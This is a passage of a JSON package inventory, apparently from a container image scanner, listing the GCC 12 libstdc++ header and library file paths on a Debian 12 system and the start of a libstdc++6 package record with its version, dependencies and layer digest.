"/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/debug_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/debug_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/entry_list_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/erase_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/erase_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/find_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/insert_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/insert_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/resize_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/resize_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/resize_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/size_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cond_dealtor.hpp", "/usr/include/c++/12/ext/pb_ds/detail/container_base_dispatch.hpp", "/usr/include/c++/12/ext/pb_ds/detail/debug_map_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/eq_fn/eq_by_less.hpp", "/usr/include/c++/12/ext/pb_ds/detail/eq_fn/hash_eq_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/debug_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/debug_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/erase_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/erase_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/find_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/find_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/gp_ht_map_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/insert_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/insert_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/iterator_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/resize_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/resize_no_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/resize_store_hash_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/gp_hash_table_map_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/direct_mask_range_hashing_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/direct_mod_range_hashing_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/linear_probe_fn_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/mask_based_range_hashing.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/mod_based_range_hashing.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/probe_fn_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/quadratic_probe_fn_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/ranged_hash_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/ranged_probe_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/sample_probe_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/sample_range_hashing.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/sample_ranged_hash_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/hash_fn/sample_ranged_probe_fn.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/left_child_next_sibling_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/node.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/point_const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/left_child_next_sibling_heap_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/constructor_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/entry_metadata_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/lu_map_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_map_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_policy/lu_counter_metadata.hpp", "/usr/include/c++/12/ext/pb_ds/detail/list_update_policy/sample_update_policy.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/node_iterators.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/ov_tree_map_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/ov_tree_map_/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/pairing_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pairing_heap_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/insert_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/pat_trie_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/pat_trie_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/r_erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/rotate_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/split_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/synth_access_traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/pat_trie_/update_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/priority_queue_base_dispatch.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/node.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/rb_tree_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rb_tree_map_/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/rc.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/rc_binomial_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/rc_binomial_heap_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/cc_hash_max_collision_check_resize_trigger_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/hash_exponential_size_policy_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_size_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/hash_prime_size_policy_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/hash_standard_resize_policy_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/sample_resize_policy.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/sample_resize_trigger.hpp", "/usr/include/c++/12/ext/pb_ds/detail/resize_policy/sample_size_policy.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/node.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/splay_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/splay_tree_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/splay_tree_/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/standard_policies.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/thin_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/thin_heap_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/tree_policy/node_metadata_selector.hpp", "/usr/include/c++/12/ext/pb_ds/detail/tree_policy/order_statistics_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/tree_policy/sample_tree_node_update.hpp", "/usr/include/c++/12/ext/pb_ds/detail/tree_trace_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/node_metadata_selector.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/order_statistics_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/prefix_search_node_update_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/sample_trie_access_traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/sample_trie_node_update.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/trie_policy_base.hpp", "/usr/include/c++/12/ext/pb_ds/detail/trie_policy/trie_string_access_traits_imp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/type_utils.hpp", "/usr/include/c++/12/ext/pb_ds/detail/types_traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/unordered_iterator/const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/unordered_iterator/iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/unordered_iterator/point_const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/unordered_iterator/point_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/exception.hpp", "/usr/include/c++/12/ext/pb_ds/hash_policy.hpp", "/usr/include/c++/12/ext/pb_ds/list_update_policy.hpp", "/usr/include/c++/12/ext/pb_ds/priority_queue.hpp", "/usr/include/c++/12/ext/pb_ds/tag_and_trait.hpp", "/usr/include/c++/12/ext/pb_ds/tree_policy.hpp", "/usr/include/c++/12/ext/pb_ds/trie_policy.hpp", "/usr/include/c++/12/ext/pod_char_traits.h", "/usr/include/c++/12/ext/pointer.h", "/usr/include/c++/12/ext/pool_allocator.h", "/usr/include/c++/12/ext/random", "/usr/include/c++/12/ext/random.tcc", "/usr/include/c++/12/ext/rb_tree", "/usr/include/c++/12/ext/rc_string_base.h", "/usr/include/c++/12/ext/rope", "/usr/include/c++/12/ext/ropeimpl.h", "/usr/include/c++/12/ext/slist", "/usr/include/c++/12/ext/sso_string_base.h", "/usr/include/c++/12/ext/stdio_filebuf.h", "/usr/include/c++/12/ext/stdio_sync_filebuf.h", "/usr/include/c++/12/ext/string_conversions.h", "/usr/include/c++/12/ext/throw_allocator.h", "/usr/include/c++/12/ext/type_traits.h", "/usr/include/c++/12/ext/typelist.h", "/usr/include/c++/12/ext/vstring.h", "/usr/include/c++/12/ext/vstring.tcc", "/usr/include/c++/12/ext/vstring_fwd.h", "/usr/include/c++/12/ext/vstring_util.h", "/usr/include/c++/12/fenv.h", "/usr/include/c++/12/filesystem", "/usr/include/c++/12/forward_list", "/usr/include/c++/12/fstream", "/usr/include/c++/12/functional", "/usr/include/c++/12/future", "/usr/include/c++/12/initializer_list", "/usr/include/c++/12/iomanip", "/usr/include/c++/12/ios", "/usr/include/c++/12/iosfwd", "/usr/include/c++/12/iostream", "/usr/include/c++/12/istream", "/usr/include/c++/12/iterator", "/usr/include/c++/12/latch", "/usr/include/c++/12/limits", "/usr/include/c++/12/list", "/usr/include/c++/12/locale", "/usr/include/c++/12/map", "/usr/include/c++/12/math.h", "/usr/include/c++/12/memory", "/usr/include/c++/12/memory_resource", "/usr/include/c++/12/mutex", "/usr/include/c++/12/new", "/usr/include/c++/12/numbers", "/usr/include/c++/12/numeric", "/usr/include/c++/12/optional", "/usr/include/c++/12/ostream", "/usr/include/c++/12/parallel/algo.h", "/usr/include/c++/12/parallel/algobase.h", "/usr/include/c++/12/parallel/algorithm", "/usr/include/c++/12/parallel/algorithmfwd.h", "/usr/include/c++/12/parallel/balanced_quicksort.h", "/usr/include/c++/12/parallel/base.h", "/usr/include/c++/12/parallel/basic_iterator.h", "/usr/include/c++/12/parallel/checkers.h", "/usr/include/c++/12/parallel/compatibility.h", "/usr/include/c++/12/parallel/compiletime_settings.h", "/usr/include/c++/12/parallel/equally_split.h", "/usr/include/c++/12/parallel/features.h", "/usr/include/c++/12/parallel/find.h", "/usr/include/c++/12/parallel/find_selectors.h", "/usr/include/c++/12/parallel/for_each.h", "/usr/include/c++/12/parallel/for_each_selectors.h", "/usr/include/c++/12/parallel/iterator.h", "/usr/include/c++/12/parallel/list_partition.h", "/usr/include/c++/12/parallel/losertree.h", "/usr/include/c++/12/parallel/merge.h", "/usr/include/c++/12/parallel/multiseq_selection.h", "/usr/include/c++/12/parallel/multiway_merge.h", "/usr/include/c++/12/parallel/multiway_mergesort.h", "/usr/include/c++/12/parallel/numeric", "/usr/include/c++/12/parallel/numericfwd.h", "/usr/include/c++/12/parallel/omp_loop.h", "/usr/include/c++/12/parallel/omp_loop_static.h", "/usr/include/c++/12/parallel/par_loop.h", "/usr/include/c++/12/parallel/parallel.h", "/usr/include/c++/12/parallel/partial_sum.h", "/usr/include/c++/12/parallel/partition.h", "/usr/include/c++/12/parallel/queue.h", "/usr/include/c++/12/parallel/quicksort.h", "/usr/include/c++/12/parallel/random_number.h", "/usr/include/c++/12/parallel/random_shuffle.h", "/usr/include/c++/12/parallel/search.h", "/usr/include/c++/12/parallel/set_operations.h", "/usr/include/c++/12/parallel/settings.h", "/usr/include/c++/12/parallel/sort.h", "/usr/include/c++/12/parallel/tags.h", "/usr/include/c++/12/parallel/types.h", "/usr/include/c++/12/parallel/unique_copy.h", "/usr/include/c++/12/parallel/workstealing.h", "/usr/include/c++/12/pstl/algorithm_fwd.h", "/usr/include/c++/12/pstl/algorithm_impl.h", "/usr/include/c++/12/pstl/execution_defs.h", "/usr/include/c++/12/pstl/execution_impl.h", "/usr/include/c++/12/pstl/glue_algorithm_defs.h", "/usr/include/c++/12/pstl/glue_algorithm_impl.h", "/usr/include/c++/12/pstl/glue_execution_defs.h", "/usr/include/c++/12/pstl/glue_memory_defs.h", "/usr/include/c++/12/pstl/glue_memory_impl.h", "/usr/include/c++/12/pstl/glue_numeric_defs.h", "/usr/include/c++/12/pstl/glue_numeric_impl.h", "/usr/include/c++/12/pstl/memory_impl.h", "/usr/include/c++/12/pstl/numeric_fwd.h", "/usr/include/c++/12/pstl/numeric_impl.h", "/usr/include/c++/12/pstl/parallel_backend.h", "/usr/include/c++/12/pstl/parallel_backend_serial.h", "/usr/include/c++/12/pstl/parallel_backend_tbb.h", "/usr/include/c++/12/pstl/parallel_backend_utils.h", "/usr/include/c++/12/pstl/parallel_impl.h", "/usr/include/c++/12/pstl/pstl_config.h", "/usr/include/c++/12/pstl/unseq_backend_simd.h", "/usr/include/c++/12/pstl/utils.h", "/usr/include/c++/12/queue", "/usr/include/c++/12/random", "/usr/include/c++/12/ranges", "/usr/include/c++/12/ratio", "/usr/include/c++/12/regex", "/usr/include/c++/12/scoped_allocator", "/usr/include/c++/12/semaphore", "/usr/include/c++/12/set", "/usr/include/c++/12/shared_mutex", "/usr/include/c++/12/source_location", "/usr/include/c++/12/span", "/usr/include/c++/12/spanstream", "/usr/include/c++/12/sstream", "/usr/include/c++/12/stack", "/usr/include/c++/12/stacktrace", "/usr/include/c++/12/stdatomic.h", "/usr/include/c++/12/stdexcept", "/usr/include/c++/12/stdlib.h", "/usr/include/c++/12/stop_token", "/usr/include/c++/12/streambuf", "/usr/include/c++/12/string", "/usr/include/c++/12/string_view", "/usr/include/c++/12/syncstream", "/usr/include/c++/12/system_error", "/usr/include/c++/12/tgmath.h", "/usr/include/c++/12/thread", "/usr/include/c++/12/tr1/array", "/usr/include/c++/12/tr1/bessel_function.tcc", "/usr/include/c++/12/tr1/beta_function.tcc", "/usr/include/c++/12/tr1/ccomplex", "/usr/include/c++/12/tr1/cctype", "/usr/include/c++/12/tr1/cfenv", "/usr/include/c++/12/tr1/cfloat", "/usr/include/c++/12/tr1/cinttypes", "/usr/include/c++/12/tr1/climits", "/usr/include/c++/12/tr1/cmath", "/usr/include/c++/12/tr1/complex", "/usr/include/c++/12/tr1/complex.h", "/usr/include/c++/12/tr1/cstdarg", "/usr/include/c++/12/tr1/cstdbool", "/usr/include/c++/12/tr1/cstdint", "/usr/include/c++/12/tr1/cstdio", "/usr/include/c++/12/tr1/cstdlib", "/usr/include/c++/12/tr1/ctgmath", "/usr/include/c++/12/tr1/ctime", "/usr/include/c++/12/tr1/ctype.h", "/usr/include/c++/12/tr1/cwchar", "/usr/include/c++/12/tr1/cwctype", "/usr/include/c++/12/tr1/ell_integral.tcc", "/usr/include/c++/12/tr1/exp_integral.tcc", "/usr/include/c++/12/tr1/fenv.h", "/usr/include/c++/12/tr1/float.h", "/usr/include/c++/12/tr1/functional", "/usr/include/c++/12/tr1/functional_hash.h", "/usr/include/c++/12/tr1/gamma.tcc", "/usr/include/c++/12/tr1/hashtable.h", "/usr/include/c++/12/tr1/hashtable_policy.h", "/usr/include/c++/12/tr1/hypergeometric.tcc", "/usr/include/c++/12/tr1/inttypes.h", "/usr/include/c++/12/tr1/legendre_function.tcc", "/usr/include/c++/12/tr1/limits.h", "/usr/include/c++/12/tr1/math.h", "/usr/include/c++/12/tr1/memory", "/usr/include/c++/12/tr1/modified_bessel_func.tcc", "/usr/include/c++/12/tr1/poly_hermite.tcc", "/usr/include/c++/12/tr1/poly_laguerre.tcc", "/usr/include/c++/12/tr1/random", "/usr/include/c++/12/tr1/random.h", "/usr/include/c++/12/tr1/random.tcc", "/usr/include/c++/12/tr1/regex", "/usr/include/c++/12/tr1/riemann_zeta.tcc", "/usr/include/c++/12/tr1/shared_ptr.h", "/usr/include/c++/12/tr1/special_function_util.h", "/usr/include/c++/12/tr1/stdarg.h", "/usr/include/c++/12/tr1/stdbool.h", "/usr/include/c++/12/tr1/stdint.h", "/usr/include/c++/12/tr1/stdio.h", "/usr/include/c++/12/tr1/stdlib.h", "/usr/include/c++/12/tr1/tgmath.h", "/usr/include/c++/12/tr1/tuple", "/usr/include/c++/12/tr1/type_traits", "/usr/include/c++/12/tr1/unordered_map", "/usr/include/c++/12/tr1/unordered_map.h", "/usr/include/c++/12/tr1/unordered_set", "/usr/include/c++/12/tr1/unordered_set.h", "/usr/include/c++/12/tr1/utility", "/usr/include/c++/12/tr1/wchar.h", "/usr/include/c++/12/tr1/wctype.h", "/usr/include/c++/12/tr2/bool_set", "/usr/include/c++/12/tr2/bool_set.tcc", "/usr/include/c++/12/tr2/dynamic_bitset", "/usr/include/c++/12/tr2/dynamic_bitset.tcc", "/usr/include/c++/12/tr2/ratio", "/usr/include/c++/12/tr2/type_traits", "/usr/include/c++/12/tuple", "/usr/include/c++/12/type_traits", "/usr/include/c++/12/typeindex", "/usr/include/c++/12/typeinfo", "/usr/include/c++/12/unordered_map", "/usr/include/c++/12/unordered_set", "/usr/include/c++/12/utility", "/usr/include/c++/12/valarray", "/usr/include/c++/12/variant", "/usr/include/c++/12/vector", "/usr/include/c++/12/version", "/usr/include/x86_64-linux-gnu/c++/12/bits/atomic_word.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/basic_file.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/c++allocator.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/c++config.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/c++io.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/c++locale.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/cpu_defines.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/ctype_base.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/ctype_inline.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/cxxabi_tweaks.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/error_constants.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/extc++.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/gthr-default.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/gthr-posix.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/gthr-single.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/gthr.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/messages_members.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/opt_random.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/os_defines.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/stdc++.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/stdtr1c++.h", "/usr/include/x86_64-linux-gnu/c++/12/bits/time_members.h", "/usr/include/x86_64-linux-gnu/c++/12/ext/opt_random.h", "/usr/lib/gcc/x86_64-linux-gnu/12/libstdc++.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libstdc++fs.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libsupc++.a", "/usr/share/doc/gcc-12-base/C++/README.libstdc++-baseline.amd64", "/usr/share/doc/gcc-12-base/C++/changelog.libstdc++.gz", "/usr/share/doc/gcc-12-base/C++/libstdc++_symbols.txt.amd64" ], "AnalyzedBy": "dpkg" }, { "ID": "libstdc++6@12.2.0-14+deb12u1", "Name": "libstdc++6", "Identifier": { "PURL": "pkg:deb/debian/libstdc%2B%2B6@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "ba0e89192cc3804f" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" 